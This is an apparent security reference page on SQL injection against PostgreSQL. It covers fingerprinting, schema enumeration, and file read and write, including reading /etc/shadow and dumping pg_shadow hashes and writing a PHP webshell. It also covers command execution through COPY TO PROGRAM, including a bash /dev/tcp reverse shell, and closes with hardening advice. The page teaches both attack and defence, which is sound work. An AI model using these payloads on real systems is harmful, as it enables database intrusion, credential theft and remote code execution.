CWE-89A03:2021 – Injection

PostgreSQL

Strict typing, stacked queries, and COPY TO PROGRAM — the engine where an injection most reliably becomes command execution.

Fingerprinting

PostgreSQL announces itself through strict typing. Where MySQL silently coerces, PostgreSQL raises — and its error messages are unusually specific, which makes both identification and error-based extraction easy.

Distinguishing markers:

|| concatenates (shared with Oracle and SQLite, not MySQL or MSSQL)
::type cast syntax is PostgreSQL-only
Errors are prefixed ERROR: and name types precisely

Identification probes

SQL
' AND 1=CAST(version() AS int)-- -
-- => ERROR: invalid input syntax for type integer: "PostgreSQL 16.1 ..."

' AND 'a'::text='a'-- -          -- :: cast syntax is PostgreSQL-only
' AND 1=(SELECT 1 FROM pg_catalog.pg_database LIMIT 1)-- -

-- Error prefix is distinctive:
-- ERROR:  unterminated quoted string at or near "'"
-- PG::UndefinedColumn / PG::SyntaxError in Rails apps

Syntax Reference

Operation	Syntax
Comment	-- - or /* */
Version	version() current_setting('server_version')
Current user	current_user session_user user
Current database	current_database()
Concatenation	a\|\|b concat(a,b)
Substring	SUBSTRING(s FROM 1 FOR 1) substr(s,1,1)
Length	length(s) char_length(s)
ASCII value	ascii(c)
Char from code	chr(65)
Hex encode	encode(s::bytea,'hex')
Cast	s::int CAST(s AS int)
Delay	pg_sleep(5) pg_sleep_for('5 seconds')
Conditional	CASE WHEN cond THEN a ELSE b END
Row limit	LIMIT 1 OFFSET 5
Aggregate rows	string_agg(col, ',') array_agg(col)
No-table SELECT	SELECT 1 (no FROM needed)
Dollar quoting	$$text$$ $tag$text$tag$

Schema Enumeration

SQL
-- Databases
SELECT datname FROM pg_database

-- Tables in the public schema
SELECT table_name FROM information_schema.tables WHERE table_schema='public'
-- or the catalog directly:
SELECT tablename FROM pg_tables WHERE schemaname='public'

-- Columns
SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users'

-- Whole schema in one request
SELECT string_agg(table_name||'.'||column_name, ', ')
FROM information_schema.columns WHERE table_schema='public'

-- Privileges — determines whether COPY TO PROGRAM is reachable
SELECT current_user, usesuper FROM pg_user WHERE usename=current_user
SELECT rolname,rolsuper,rolcreaterole FROM pg_roles WHERE rolname=current_user

-- Password hashes (superuser only)
SELECT usename,passwd FROM pg_shadow

File Read and Write

PostgreSQL file access requires superuser, or membership in the pg_read_server_files / pg_write_server_files roles introduced in version 11.

Unlike MySQL there is no secure_file_priv equivalent — the gate is purely role membership. If you have it, you have unrestricted read and write as the postgres OS user.

File operations

SQL
-- Read a file directly (superuser or pg_read_server_files)
SELECT pg_read_file('/etc/passwd')
SELECT pg_read_file('/etc/passwd', 0, 100000)

-- Binary-safe read
SELECT encode(pg_read_binary_file('/etc/shadow'),'escape')

-- Directory listing
SELECT pg_ls_dir('/var/lib/postgresql/data')

-- Read into a table via COPY — the classic route
CREATE TABLE f(line text);
COPY f FROM '/etc/passwd';
SELECT string_agg(line, E'\n') FROM f;

-- Write
COPY (SELECT '<?php system($_GET[0]); ?>') TO '/var/www/html/s.php'

-- Large object API — an alternative write path
SELECT lo_from_bytea(0, 'test'::bytea);
SELECT lo_export(<oid>, '/tmp/out');

Command Execution

PostgreSQL has the most direct injection-to-RCE path of any mainstream engine, because COPY … TO PROGRAM executes a shell command by design.

It requires superuser or the pg_execute_server_program role (PG 11+), and it runs as the postgres OS user. Combined with the fact that PostgreSQL supports stacked queries through the simple query protocol, a single injection point is frequently enough.

COPY TO PROGRAM and alternatives

SQL
-- Blind execution
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/o'-- -

-- Execute and read the output back
'; CREATE TABLE out(line text);
   COPY out FROM PROGRAM 'id';
-- then, in a later request:
' UNION SELECT NULL,string_agg(line,E'\n'),NULL FROM out-- -

-- Reverse shell
'; COPY (SELECT '') TO PROGRAM
   'bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"'-- -

-- Older alternative: untrusted procedural languages
CREATE EXTENSION plpythonu;
CREATE FUNCTION x() RETURNS text AS
  $$ import os; return os.popen('id').read() $$ LANGUAGE plpythonu;
SELECT x();

-- CVE-2019-9193 popularised COPY TO PROGRAM. The PostgreSQL project's
-- position is that this is intended superuser functionality, not a
-- vulnerability — so it is not going to be patched away. Treat any
-- superuser injection as immediate RCE.

Quirks Worth Knowing

Strict typing cuts both ways. UNION fails on type mismatches (UNION types integer and text cannot be matched), so you must cast. But the same strictness makes error-based extraction trivially easy and uncapped in length.

Dollar quoting evades quote filters. $$admin$$ is a string literal containing no quote character at all, and $tag$...$tag$ lets you pick an arbitrary delimiter. Very effective against naive filters — see Filter Evasion.

Stacked queries depend on the protocol. The simple query protocol allows multiple statements; the extended protocol used by parameterised calls does not. An application that parameterises correctly is not stackable.

search_path matters. Objects resolve through it, so a writable schema early in the path allows shadowing legitimate functions — a privilege escalation vector in its own right.

Identifiers fold to lowercase. Unquoted Users becomes users; quoted "Users" does not. Case-sensitive name matching in information_schema queries needs care.

Prevention

Parameterise — see Python, Node.js, Ruby, Go. Note that using the extended query protocol, which parameterisation implies, also disables stacking.

PostgreSQL-specific hardening:

Never run an application as superuser. This single control removes COPY TO PROGRAM, pg_read_file, and the untrusted procedural languages at a stroke.
Do not grant pg_execute_server_program, pg_read_server_files, or pg_write_server_files to application roles.
Do not install dblink or untrusted PLs unless required.
Use REVOKE ALL ON SCHEMA public FROM PUBLIC and grant explicitly.
Set a restrictive search_path on the application role.

Stacked Queriescritical

Appending an entirely separate statement after the original. Where supported it turns a read-only injection into arbitrary write access — and often into code execution.

Remote Code Executioncritical

The routes from an injected query to a shell on the database host, and which engines hand it to you directly.

File Read and Writecritical

Turning a database query into filesystem access: reading configuration and credentials, and writing a webshell into a served directory.

Error-Based Injectioncritical

Coercing the database into embedding your query result inside its own error message. Fast extraction when errors reach the client but results do not.

Prevention — Python

DB-API placeholders (and why they are not %-formatting), psycopg's sql.Identifier for safe dynamic identifiers, and SQLAlchemy bindparams.

Privilege Escalationcritical

From a low-privilege database account to DBA, and from one database host to the next: credential harvesting, definer's-rights abuse, and linked-server pivoting.